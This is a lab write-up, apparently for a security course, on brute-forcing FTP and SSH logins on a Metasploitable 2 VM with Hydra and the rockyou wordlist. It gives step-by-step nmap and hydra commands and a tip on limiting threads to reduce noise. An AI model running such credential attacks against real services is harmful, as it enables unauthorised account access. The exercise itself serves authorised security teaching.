

Brute-Force Attack to Evaluate Weak Authentication

Tool: Hydra

Theory

Hydra is an open-source network login cracker that tests authentication strength by systematically trying username and password combinations against live services such as SSH, FTP, and HTTP. Unlike offline hash cracking, Hydra performs online attacks directly against running services. This experiment is performed only on Metasploitable 2, an intentionally vulnerable VM used for authorised lab testing.

Steps

1. Start Kali Linux and Metasploitable 2 in VirtualBox. Set both VMs to Host-Only network. Find the Metasploitable IP by running on it: `ifconfig` — the IP is typically 192.168.56.102.
 2. On Kali Linux, verify Hydra is installed. Run: `hydra -h` — If not installed, run: `sudo apt install hydra -y`
 3. Confirm the target services are running on Metasploitable. Run: `nmap -sV 192.168.56.102` — Verify FTP (port 21) and SSH (port 22) are open.
 4. Run a brute-force attack against the FTP service using the rockyou wordlist. Run: `hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.102` — Hydra tries each password in the list against the msfadmin username.
 5. When Hydra finds the correct password it prints a result line showing the host, port, login, and password. Note down the cracked credentials.
 6. Run the same attack against the SSH service. Run: `hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.102`
 7. To limit connection threads and reduce noise, use the -t flag. Run: `hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt -t 4 ssh://192.168.56.102`
 8. Verify the found credentials by logging in to the target. Run: `ssh msfadmin@192.168.56.102` — Enter the cracked password when prompted. A successful login confirms the attack worked.
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Conclusion

Hydra successfully cracked the FTP and SSH login credentials on Metasploitable 2 using a dictionary attack. This demonstrates that services using weak or default passwords are highly vulnerable and can be compromised quickly without any special privileges.